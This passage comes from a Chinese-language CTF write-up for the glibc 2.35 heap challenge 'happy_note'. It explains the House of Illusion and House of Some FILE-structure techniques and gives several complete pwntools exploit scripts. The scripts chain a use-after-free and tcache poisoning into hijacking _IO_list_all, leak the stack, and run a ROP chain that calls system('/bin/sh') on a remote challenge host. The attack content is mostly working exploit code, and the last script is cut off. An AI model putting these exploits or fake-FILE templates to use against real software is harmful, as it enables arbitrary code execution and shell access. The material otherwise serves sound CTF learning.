: _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \
((_f)->_wide_data->_IO_write_ptr \
- (_f)->_wide_data->_IO_write_base)))

也就是

1
_IO_do_write(_f, (_f)->_IO_write_base, (_f)->_IO_write_ptr-(_f)->_IO_write_base)

继续追进_IO_do_write,在上面write那一节有代码,里面会调用_IO_SYSWRITE

如果让_IO_OVERFLOW指向_IO_new_file_finish的话(比如&_IO_file_jumps - 0x8),那么就会调用

1
_IO_SYSWRITE(fp->_fileno, fp->_IO_write_base, fp->_IO_write_ptr - fp->_IO_write_base)

而如果_IO_OVERFLOW指向_IO_new_file_finish,那么_IO_SYSWRITE就是指向_IO_file_read,所以实际执行的是

1
read(fp->_fileno, fp->_IO_write_base, fp->_IO_write_ptr - fp->_IO_write_base)

就实现了read

最后还需要注意调用了_IO_SYSCLOSE (fp),而这时_IO_SYSCLOSE指向的是_IO_file_seek,所以影响不大

payload·

这里最好还是用House of Illusion去打,一个是没那么复杂,另一个是它的payload会短一点

PS:虽然House of Apple 2的构造一下也可以做到一样长,但是也挺麻烦的

给个参考的payload模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def read_template(buf, nbytes, next_fp):
# read(fp->_fileno, fp->_IO_write_base, fp->_IO_write_ptr - fp->_IO_write_base)
payload = flat({
0x10: buf, # _IO_read_end => in new_do_write,
# bypass fp->_IO_read_end != fp->_IO_write_base
0x20: buf, # _IO_write_base => read buf
0x28: buf + nbytes, # _IO_write_ptr => read nbytes
# in _IO_flush_all_lockp,
# fp->_IO_write_ptr > fp->_IO_write_base
0x68: next_fp, # _chain
0x70: 0, # _fileno => read fd, stdin
0xc0: 0, # _mode => in _IO_flush_all_lockp,
# fp->_mode <= 0
0xd8: libc_IO_file_jumps - 0x8, # vtable => _IO_OVERFLOW -> _IO_new_file_finish
# => House of Illusion
}, filler=b"\x00")
return payload

happy_note(revisit)·

最后再用这道题简单地过一下House of Some 1的流程

PS:可以结合下面手动House of Some 1的Exp一起看

Part.1 写入fp0·

首先在前面已经泄露了libc_base,并且可以实现0x200字节的任意写

那么按照House of Some 1的思路,到这里应该是构造readfp0,把fp0写到可控地址,然后把_IO_list_all改为fp0的地址,最后让程序返回或者执行exit

先解决exit的问题,这个比较简单,在上面 漏洞点 里说了,delete里面有个exit函数,只要delete之前delete过的块就可以触发exit

再来看fp0该怎么写,我的想法是,可以把_IO_list_allfp0一起写,后面的fp1fp5可以按顺序拼在fp0后面,大概是

1
2
3
4
5
6
7
8
iolist-0x10: 0              0
iolist : controled_addr 0
iolist+0x10: fp0 ...
... ... : ... ...
&fp0+0xe0 : fp1 ...
... ... : ... ...
&fp1+0xe0 : fp2 ...
... ... : ... ...

在这一步要做的是通过editiolist写入controled_addrfp0

大概是

1
2
3
4
5
6
7
controled_addr = libc_iolist + 0x10
fp_addr = [controled_addr + fp_length * i for i in range(6)]

fp0 = read_template(fp_addr[1], fp_length * 2, fp_addr[1]) # todo: read fp1 and fp2
edit(1, p64(0) * 2 + p64(fp_addr[0]) + p64(0) + fp0)
controled_addr += fp_length * 2
delete(3) # exit

Part.2 泄露栈地址·

在执行到fp0_IO_OVERFLOW后,就可以触发read写入fp1fp2

其中fp1做的是通过libcenviron泄露栈地址,执行到fp1_IO_OVERFLOW后,可以触发write泄露environ

这里有一个坑是,如果exp执行得比程序快的话(一半情况下都是),recv 捕获的就会是程序的历史输出,而不是泄露的栈地址

所以这之前应该加一个r.recvuntil(b"It's empty!\n")把历史输出清空掉

合起来大概是

1
2
3
4
5
6
r.recvuntil(b"It's empty!\n")
fp1 = write_template(libc_environ, 8, fp_addr[2])
fp2 = read_template(fp_addr[3], fp_length * 2, fp_addr[3]) # todo: read fp3 and fp4
r.send(fp1 + fp2)
stack_environ = u64(r.recv())
print(f'{hex(stack_environ) = }')

Part.3 确定rop地址·

在执行到fp2_IO_OVERFLOW后,就可以触发read写入fp3fp4

其中fp3做的是通过stack_environ泄露栈上数据,执行到fp3_IO_OVERFLOW后,可以触发write泄露栈上的数据

但问题是怎么通过泄露出来的数据知道ret的地址,也就是rop该写在哪个地址

据说 @CSOME 有个很diao的二分法,不过我只会暴力brute force,也够用了

首先我在gdb上大概可以知道栈长的这样子

1
2
3
4
5
00:0000│ rsp 0x7ffc5d62b248 —▸ 0x7f9e76c894ff (_IO_cleanup+15) ◂— mov ebx, eax
01:00080x7ffc5d62b250 —▸ 0x7f9e76dea6e8 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x7f9e76c894f0 (_IO_cleanup) ◂— endbr64
02:00100x7ffc5d62b258 —▸ 0x7f9e76c496f7 (__run_exit_handlers+563) ◂— add rbx, 8
... ...
34:01a0│ 0x7ffc5d62b3e8 —▸ 0x7ffc5d62cfd9 ◂— 'LD_LIBRARY_PATH=.'

这个例子中,(_IO_cleanup+15)那一行,也就是0x7ffc5d62b248就是我想要的ret地址,而'LD_LIBRARY_PATH=.'的那一行,也就是0x7ffc5d62b3e8就是stack_environ的地址

PS:我用的带符号的调试库得到的数据,如果用题目的库的话可能会没有符号,这时可以通过pwndbgBACKTRACE调用栈找到ret地址上应该是什么内容,大概是on_exit的上两个就是(_IO_cleanup+15)

通过例子中的数据可以知道,ret地址应该在stack_environ上方不远的地方,而且在libc_base泄露的情况下,ret地址上写的内容也是知道的(也就是例子中的(_IO_cleanup+15)

那么就可以通过fp3write泄露stack_environ上方的一段数据,然后枚举这段数据中(_IO_cleanup+15)的位置,来确定ret的地址

大概就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
bf_count = 0x400
assert bf_count % 8 == 0
fp3 = write_template(stack_environ - bf_count, bf_count, fp_addr[4])
fp4 = read_template(fp_addr[5], fp_length, fp_addr[5]) # todo: read fp5
r.send(fp3 + fp4)
stack_data = r.recv()
stack_data = [u64(stack_data[i*8: (i+1)*8]) for i in range(bf_count // 8)]

if DEBUG:
ret_fun = libc_IO_cleanup = libc.symbols['_IO_cleanup'] + 15
else:
ret_fun = libc_base + 0x8ebfe # from gdb

for i in range(len(stack_data)):
sdi = stack_data[i]
if sdi == ret_fun:
rop_addr = stack_environ - bf_count + i * 8
break
else:
raise RuntimeError('rop_addr not found')
print(f'{hex(rop_addr) = }')

Part.4 写入rop·

在执行到fp4_IO_OVERFLOW后,就可以触发read写入fp5,然后通过fp5_IO_OVERFLOWread写入rop

rop应该就是很熟悉的内容了,而这里需要注意的是fp5_chain需要设置为0,这样才能结束_IO_flush_all_lockp的循环,让函数返回

1
2
3
4
5
6
7
8
rop = flat([
libc_ret, # align to 16 bytes
libc_pop_rdi, libc_sh,
libc_system
], filler=b"\x00")
fp5 = read_template(rop_addr, len(rop), 0) # todo: read rop and return
r.send(fp5)
r.send(rop)

参考Exp·

失败例子的Exp(NG)·

虽然没打成功,但这里还是象征性地贴一个参考代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
from time import sleep
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.1

LOCAL = True
AUTOGDB = True
DEBUG = True
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./happy_note', env=env)
if AUTOGDB:
gid, g = gdb.attach(r, api=True, gdbscript='')
AUTOGDB and g.execute('dir ./src') and sleep(T)
AUTOGDB and g.execute('c') and sleep(T)
else:
gdb.attach(r, gdbscript='dir ./src')
input('Waiting GDB...')
else:
AUTOGDB = False
r = remote('node4.anna.nssctf.cn', 28144)

def add(idx, size, mode=1):
r.sendlineafter(b'>> ', b'1')
r.sendlineafter(b'Note size:', str(size).encode())
r.sendlineafter(b'Choose a note:', str(idx).encode())
r.sendlineafter(b'Choose a mode: [1] or [2]', str(mode).encode())
sleep(T)

def delete(idx):
r.sendlineafter(b'>> ', b'2')
r.sendlineafter(b'Choose a note:', str(idx).encode())
sleep(T)

def show(idx):
r.sendlineafter(b'>> ', b'3')
r.sendlineafter(b'Which one do you want to show?', str(idx).encode())
r.recvuntil(b'content: ')
return r.recvline()[:-1]

def edit(idx, content):
r.sendlineafter(b'>> ', b'4')
r.sendlineafter(b'Choose a note:', str(idx).encode())
r.sendafter(b'Edit your content:', content)
sleep(T)

def backdoor(idx):
r.sendlineafter(b'>> ', b'666')
r.sendlineafter(b'Choose a note:', str(idx).encode())
sleep(T)

AUTOGDB and g.execute('p "uaf and leak tcache_key"') and sleep(T)
add(0, 0x200)
add(1, 0x200)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
delete(1) # make sure tcache->counts[tc_idx] > 0
backdoor(0) # uaf
AUTOGDB and g.execute('hexdump *(size_t*)$rebase(0x40a0)-0x10 0x240') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
heap_4b0 = u64(show(0).ljust(8, b'\x00'))

edit(0, b'0' * 8)
tcache_key = show(0)[8:]
print(f'{tcache_key.hex() = }')


AUTOGDB and g.execute('p "hijack tcache_perthread_struct"') and sleep(T)
#edit(0, p64(PROTECT_PTR(heap_base + 0x10)))
edit(0, p64(heap_4b0 ^ 0x4b0 ^ 0x10))
AUTOGDB and g.execute('bins') and sleep(T)
add(2, 0x200, 2) # overlapping chunk 0
add(3, 0x200, 2) # tcache_perthread_struct
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)


AUTOGDB and g.execute('p "leak heap_base"') and sleep(T)
edit(3, '0' * 0x178)
heap_base = u64(show(3)[0x178:].ljust(8, b'\x00')) << 12
AUTOGDB and g.execute('hexdump *(size_t*)$rebase(0x40b8)-0x10 0x200') and sleep(T)
print(f'{hex(heap_base) = }')

def PROTECT_PTR(ptr):
return (heap_base >> 12) ^ ptr


AUTOGDB and g.execute('p "leak libc_base"') and sleep(T)
# rewrite tcache_perthread_struct
counts = [0] * 64
entries = [0] * 64
tc_idx = (0x210 - 0x20) // 0x10
counts[tc_idx] = 7
entries[tc_idx] = heap_base + 0x2a0 # arbitrary heap address
tps = b''.join([p16(_) for _ in counts] + [p64(_) for _ in entries])[:0x200]
edit(3, tps)
AUTOGDB and g.execute('bins') and sleep(T)

delete(2)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)

if DEBUG:
libc_base = u64(show(0).ljust(8, b'\x00')) - 0x1e0ce0
libc = ELF('libc-2.35-debug.so')
else:
pass
print(f'{hex(libc_base) = }')
libc.address = libc_base


AUTOGDB and g.execute('p "fastbin attack"') and sleep(T)

r.interactive()
r.close()

自动化House of Some 1的Exp·

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *
from time import sleep
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.1

LOCAL = True
AUTOGDB = True
DEBUG = False
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./happy_note', env=env)
if AUTOGDB:
gid, g = gdb.attach(r, api=True, gdbscript='')
AUTOGDB and g.execute('dir ./src') and sleep(T)
AUTOGDB and g.execute('c') and sleep(T)
else:
gdb.attach(r, gdbscript='dir ./src')
input('Waiting GDB...')
else:
AUTOGDB = False
r = remote('node4.anna.nssctf.cn', 28465)

def add(idx, size, mode=1):
r.sendlineafter(b'>> ', b'1')
r.sendlineafter(b'Note size:', str(size).encode())
r.sendlineafter(b'Choose a note:', str(idx).encode())
r.sendlineafter(b'Choose a mode: [1] or [2]', str(mode).encode())
sleep(T)

def delete(idx):
r.sendlineafter(b'>> ', b'2')
r.sendlineafter(b'Choose a note:', str(idx).encode())
sleep(T)

def show(idx):
r.sendlineafter(b'>> ', b'3')
r.sendlineafter(b'Which one do you want to show?', str(idx).encode())
r.recvuntil(b'content: ')
return r.recvline()[:-1]

def edit(idx, content):
r.sendlineafter(b'>> ', b'4')
r.sendlineafter(b'Choose a note:', str(idx).encode())
r.sendafter(b'Edit your content:', content)
sleep(T)

def uaf(idx):
r.sendlineafter(b'>> ', b'666')
r.sendlineafter(b'Choose a note:', str(idx).encode())
sleep(T)


AUTOGDB and g.execute('p "fastbin attack and uaf"') and sleep(T)
for i in range(7):
add(i, 0x78)
add(11, 0x78)
for i in range(7):
delete(i)
uaf(11)
AUTOGDB and g.execute('bins') and sleep(T)


AUTOGDB and g.execute('p "leak heap_base"') and sleep(T)
heap_base = u64(show(11).ljust(8, b'\x00')) << 12
print(f'{hex(heap_base) = }')

def PROTECT_PTR(ptr, pos):
#return (heap_base >> 12) ^ ptr
return (pos >> 12) ^ ptr


AUTOGDB and g.execute('p "leak libc_base"') and sleep(T)
for i in range(8):
add(i, 0x200)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
AUTOGDB and g.execute('set $chunk5=*(size_t*)$rebase(0x40c8)-0x10') and sleep(T)
AUTOGDB and g.execute('set $chunk4=*(size_t*)$rebase(0x40c0)-0x10') and sleep(T)
edit(5, b'\x00' * 0x190 + p64(0) + p64(0x81)) # chunk 6 => unsortedbin
# fakechunk => heap_base + 0x1280
edit(4, b'\x00' * 0x190 + p64(0) + p64(0x81)) # todo: rewrite chunk5 => heap_base + 0x1070
delete(7) # split top_chunk
for i in range(7):
delete(i)
AUTOGDB and g.execute('hexdump $chunk5 0x500') and sleep(T)

edit(11, p64(PROTECT_PTR(heap_base + 0x1280, heap_base)))
add(10, 0x78) # chunk10 == chunk11 (pointer)
AUTOGDB and g.execute('bins') and sleep(T)

add(9, 0x78) # fake_chunk
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)

edit(9, b'9' * 0x78) # calloc => '9' * 0x78 + chunk6->bk
AUTOGDB and g.execute('hexdump $chunk5 0x500') and sleep(T)
if DEBUG:
libc_base = u64(show(9)[0x78:].ljust(8, b'\x00')) - 0x1e0ce0
libc = ELF('libc-2.35-debug.so')
else:
libc_base = u64(show(9)[0x78:].ljust(8, b'\x00')) - 0x1e0ce0 - 0x39000
# https://libc.blukat.me/d/libc6_2.35-0ubuntu3_amd64.so
libc = ELF('libc6_2.35-0ubuntu3_amd64.so')
print(f'{hex(libc_base) = }')
libc.address = libc_base


AUTOGDB and g.execute('p "arbitrary write"') and sleep(T)
delete(10)
edit(11, p64(PROTECT_PTR(heap_base + 0x1070, heap_base)))
AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
add(10, 0x78) # chunk10 == chunk11 (pointer)
add(8, 0x78) # fake_chunk

libc_iolist = libc.symbols['_IO_list_all']
'''
'8' * 0x60
0 size
iolist tcache_key
'''
edit(8, b'8' * 0x60 + p64(0) + p64(0x211) + p64(PROTECT_PTR(libc_iolist - 0x10, heap_base+0x1000)))
AUTOGDB and g.execute('hexdump $chunk4 0x500') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)

add(0, 0x200, 2) # heap_base + 0x10f0
add(1, 0x200, 2) # _IO_list_all - 0x10 (e->key)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)


AUTOGDB and g.execute('p "house of some 1"') and sleep(T)
from SomeofHouse import HouseOfSome
fake_file_start = libc_iolist + 0x10 + 0xe0 + 0xe8
hos = HouseOfSome(libc=libc, controled_addr=fake_file_start)
payload = hos.hoi_read_file_template(fake_file_start, 0x400, fake_file_start, 0)
print(f'{len(payload) = }')
edit(1, p64(0) * 2 + p64(libc_iolist + 0x10) + p64(0) + payload)

if DEBUG:
#AUTOGDB and g.execute('p *(struct _IO_FILE_plus *)_IO_list_all') and sleep(T)
AUTOGDB and g.execute('p *(struct _IO_FILE_plus *)$rebase(0x40a0)') and sleep(T)
AUTOGDB and g.execute('p &_IO_list_all') and sleep(T)
AUTOGDB and g.execute('p _IO_list_all') and sleep(T)

#AUTOGDB and g.execute('b *$rebase(0x14f6)') and sleep(T)
#AUTOGDB and g.execute('b _IO_flush_all_lockp') and sleep(T)
#AUTOGDB and g.execute('b _IO_new_file_finish') and sleep(T)
delete(3) # exit
r.recvuntil(b'empty!\n')
hos.bomb(r)


r.interactive()
r.close()

手动House of Some 1的Exp·

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
from pwn import *
from time import sleep
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.1

LOCAL = False
AUTOGDB = True
DEBUG = False
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./happy_note', env=env)
if AUTOGDB:
gid, g = gdb.attach(r, api=True, gdbscript='')
sleep(1)
AUTOGDB and g.execute('dir ./src') and sleep(T)
AUTOGDB and g.execute('c') and sleep(T)
else:
gdb.attach(r, gdbscript='dir ./src')
input('Waiting GDB...')
else:
AUTOGDB = False
r = remote('node4.anna.nssctf.cn', 28208)

def add(idx, size, mode=1):
r.sendlineafter(b'>> ', b'1')
r.sendlineafter(b'Note size:', str(size).encode())
r.sendlineafter(b'Choose a note:', str(idx).encode())
r.sendlineafter(b'Choose a mode: [1] or [2]', str(mode).encode())
sleep(T)

def delete(idx):
r.sendlineafter(b'>> ', b'2')
r.sendlineafter(b'Choose a note:', str(idx).encode())
sleep(T)

def show(idx):
r.sendlineafter(b'>> ', b'3')
r.sendlineafter(b'Which one do you want to show?', str(idx).encode())
r.recvuntil(b'content: ')
return r.recvline()[:-1]

def edit(idx, content):
r.sendlineafter(b'>> ', b'4')
r.sendlineafter(b'Choose a note:', str(idx).encode())
r.sendafter(b'Edit your content:', content)
sleep(T)

def uaf(idx):
r.sendlineafter(b'>> ', b'666')
r.sendlineafter(b'Choose a note:', str(idx).encode())
sleep(T)

AUTOGDB and g.execute('p "fastbin attack and uaf"') and sleep(T)
for i in range(7):
add(i, 0x78)
add(11, 0x78)
for i in range(7):
delete(i)
uaf(11)
AUTOGDB and g.execute('bins') and sleep(T)


AUTOGDB and g.execute('p "leak heap_base"') and sleep(T)
heap_base = u64(show(11).ljust(8, b'\x00')) << 12
print(f'{hex(heap_base) = }')

def PROTECT_PTR(ptr, pos):
return (pos >> 12) ^ ptr


AUTOGDB and g.execute('p "leak libc_base"') and sleep(T)
for i in range(8):
add(i, 0x200)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
AUTOGDB and g.execute('set $chunk5=*(size_t*)$rebase(0x40c8)-0x10') and sleep(T)
AUTOGDB and g.execute('set $chunk4=*(size_t*)$rebase(0x40c0)-0x10') and sleep(T)
edit(5, b'\x00' * 0x190 + p64(0) + p64(0x81)) # chunk 6 => unsortedbin
# fakechunk => heap_base + 0x1280
edit(4, b'\x00' * 0x190 + p64(0) + p64(0x81)) # todo: rewrite chunk5 => heap_base + 0x1070
delete(7) # split top_chunk
for i in range(7):
delete(i)
AUTOGDB and g.execute('hexdump $chunk5 0x500') and sleep(T)

edit(11, p64(PROTECT_PTR(heap_base + 0x1280, heap_base)))
add(10, 0x78) # chunk10 == chunk11 (pointer)
AUTOGDB and g.execute('bins') and sleep(T)

add(9, 0x78) # fake_chunk
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)

edit(9, b'9' * 0x78) # calloc => '9' * 0x78 + chunk6->bk
AUTOGDB and g.execute('hexdump $chunk5 0x500') and sleep(T)
if DEBUG:
libc_base = u64(show(9)[0x78:].ljust(8, b'\x00')) - 0x1e0ce0
libc = ELF('libc-2.35-debug.so')
else:
libc_base = u64(show(9)[0x78:].ljust(8, b'\x00')) - 0x1e0ce0 - 0x39000
libc = ELF('libc6_2.35-0ubuntu3_amd64.so')
print(f'{hex(libc_base) = }')
libc.address = libc_base


AUTOGDB and g.execute('p "hijack stdout"') and sleep(T)
delete(10)
edit(11, p64(PROTECT_PTR(heap_base + 0x1070, heap_base)))
AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)
add(10, 0x78) # chunk10 == chunk11 (pointer)
add(8, 0x78) # fake_chunk

libc_iolist = libc.symbols['_IO_list_all']
'''
'8' * 0x60
0 size
stdout tcache_key
'''
edit(8, b'8' * 0x60 + p64(0) + p64(0x211) + p64(PROTECT_PTR(libc_iolist - 0x10, heap_base+0x1000)))
AUTOGDB and g.execute('hexdump $chunk4 0x500') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)

add(0, 0x200, 2)
add(1, 0x200, 2) # _IO_list_all - 0x10 (e->key)
AUTOGDB and g.execute('x/12gx $rebase(0x40a0)') and sleep(T)


AUTOGDB and g.execute('p "house of some 1"') and sleep(T)
libc_IO_file_jumps = libc.symbols['_IO_file_jumps']
libc_environ = libc.symbols['environ']

def read_template(buf, nbytes, next_fp):
# read(fp->_fileno, fp->_IO_write_base, fp->_IO_write_ptr - fp->_IO_write_base)
payload = flat({
0x10: buf, # _IO_read_end => in new_do_write,
# bypass fp->_IO_read_end != fp->_IO_write_base
0x20: buf, # _IO_write_base => read buf
0x28: buf + nbytes, # _IO_write_ptr => read nbytes
# in _IO_flush_all_lockp,
# fp->_IO_write_ptr > fp->_IO_write_base
0x68: next_fp, # _chain
0x70: 0, # _fileno => read fd, stdin
0xc0: 0, # _mode => in _IO_flush_all_lockp,
# fp->_mode <= 0
0xd8: libc_IO_file_jumps - 0x8, # vtable => _IO_OVERFLOW -> _IO_new_file_finish
# => House of Illusion
}, filler=b"\x00")
return payload

def write_template(buf, nbytes, next_fp):
# write(fp->_fileno, fp->_IO_write_base, fp->_IO_write_ptr - fp->_IO_write_base)
payload = flat({
0x00: 0x800, # _flags => _IO_CURRENTLY_PUTTING
# in _IO_new_file_overflow,
# bypass (f->_flags & _IO_CURRENTLY_PUTTING) == 0
0x10: buf, # _IO_read_end => in new_do_write,
# bypass fp->_IO_read_end != fp->_IO_write_base
0x20: buf, # _IO_write_base => read buf
0x28: buf + nbytes, # _IO_write_ptr => read nbytes
# in _IO_flush_all_lockp,
# fp->_IO_write_ptr > fp->_IO_write_base
0x68: next_fp, # _chain
0x70: 1, # _fileno => read fd, stdin
0xc0: 0, # _mode => in _IO_flush_all_lockp,
# fp->_mode <= 0
0xd8: libc_IO_file_jumps, # vtable => _IO_OVERFLOW -> _IO_new_file_overflow
}, filler=b"\x00")
return payload

read_length = len(read_template(0, 0, 0))
write_length = len(write_template(0, 0, 0))
assert read_length == write_length
fp_length = read_length

controled_addr = libc_iolist + 0x10
fp_addr = [controled_addr + fp_length * i for i in range(6)]

if DEBUG:
#AUTOGDB and g.execute('b _IO_flush_all_lockp') and sleep(T)
#AUTOGDB and g.execute('b genops.c:701') and sleep(T)
AUTOGDB and g.execute('b _IO_new_file_finish') and sleep(T)

'''
iolist-0x10: 0 0
iolist : controled_addr 0
iolist+0x10: fp0 ...
'''
fp0 = read_template(fp_addr[1], fp_length * 2, fp_addr[1]) # todo: read fp1 and fp2
edit(1, p64(0) * 2 + p64(fp_addr[0]) + p64(0) + fp0)
controled_addr += fp_length * 2
delete(3) # exit

if DEBUG:
AUTOGDB and g.execute('b _IO_new_file_overflow') and sleep(T)

r.recvuntil(b"It's empty!\n")
fp1 = write_template(libc_environ, 8, fp_addr[2])
fp2 = read_template(fp_addr[3], fp_length * 2, fp_addr[3]) # todo: read fp3 and fp4
r.send(fp1 + fp2)
stack_environ = u64(r.recv())
print(f'{hex(stack_environ) = }')

'''
00:0000│ rsp 0x7ffc5d62b248 —▸ 0x7f9e76c894ff (_IO_cleanup+15) ◂— mov ebx, eax
01:0008│ 0x7ffc5d62b250 —▸ 0x7f9e76dea6e8 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x7f9e76c894f0 (_IO_cleanup) ◂— endbr64
02:0010│ 0x7ffc5d62b258 —▸ 0x7f9e76c496f7 (__run_exit_handlers+563) ◂— add rbx, 8
... ...
34:01a0│ 0x7ffc5d62b3e8 —▸ 0x7ffc5d62cfd9 ◂— 'LD_LIBRARY_PATH=.'
'''

# find ret address of _IO_flush_all_lockp to flush_cleanup (brute force)
bf_count = 0x400
assert bf_count % 8 == 0
fp3 = write_template(stack_environ - bf_count, bf_count, fp_addr[4])
fp4 = read_template(fp_addr[5], fp_length, fp_addr[5]) # todo: read fp5
r.send(fp3 + fp4)
stack_data = r.recv()
stack_data = [u64(stack_data[i*8: (i+1)*8]) for i in range(bf_count // 8)]

if DEBUG:
ret_fun = libc_IO_cleanup = libc.symbols['_IO_cleanup'] + 15
else:
ret_fun = libc_base + 0x8ebfe # from gdb

for i in range(len(stack_data)):
sdi = stack_data[i]
if sdi == ret_fun:
rop_addr = stack_environ - bf_count + i * 8
break
else:
raise RuntimeError('rop_addr not found')
print(f'{hex(rop_addr) = }')

if DEBUG:
libc_ret = libc_base + 0x2c704
libc_pop_rdi = libc_base + 0x2c7f9
else:
libc_pop_rdi = libc_base + 0x2a3e5
libc_ret = libc_base + 0x29cd6
libc_system = libc.symbols['system']
libc_sh = next(libc.search(b'/bin/sh'))

rop = flat([
libc_ret, # align to 16 bytes
libc_pop_rdi, libc_sh,
libc_system
], filler=b"\x00")
fp5 = read_template(rop_addr, len(rop), 0) # todo: read rop and return
r.send(fp5)

AUTOGDB and g.execute(f'b *{libc_ret}') and sleep(T)
r.send(rop)

r.interactive()
r.close()

House of Some 2·

题目有puts函数,所以也可以用House of Some 2来打

直接用笔记vol.4的代码改一下就好

调的时候发现libc6_2.35-0ubuntu3_amd64.so没有_IO_wfile_jumps_maybe_mmap_IO_str_jumps的符号,就不能直接通过libc.symbols去找

解决方法可以是打开ida(或者gdb应该也行?)找__libc_IO_vtables,虽然ida中也没有符号,但是我发现这些表放的顺序和我自己编的调试库是一样的,这里给一个我调试库的顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00: _IO_helper_jumps
01: _IO_helper_jumps_0
02: _IO_cookie_jumps
03: _IO_proc_jumps
04: _IO_str_chk_jumps
05: _IO_wstrn_jumps
06: _IO_wstr_jumps
07: _IO_wfile_jumps_maybe_mmap <=
08: _IO_wfile_jumps_mmap
09: __GI__IO_wfile_jumps
10: _IO_wmem_jumps
11: _IO_mem_jumps
12: _IO_strn_jumps
13: _IO_obstack_jumps
14: _IO_file_jumps_maybe_mmap
15: _IO_file_jumps_mmap
16: __GI__IO_file_jumps
17: _IO_str_jumps <=

于是按住顺序去找就好了

PS:@CSOME 的代码里面好像有个自动化找的,可以看看

参考代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
from pwn import *
from time import sleep
context.log_level = 'debug'
context.arch = 'amd64' # for flat
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.1

LOCAL = False
AUTOGDB = True
DEBUG = False
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./happy_note', env=env)
if AUTOGDB:
gid, g = gdb.attach(r, api=True, gdbscript='')
sleep(1)
AUTOGDB and g.execute('dir ./src') and sleep(T)
AUTOGDB and g.execute('c') and sleep(T)
else:
gdb.attach(r, gdbscript='dir ./src')
input('Waiting GDB...')
else:
AUTOGDB = False
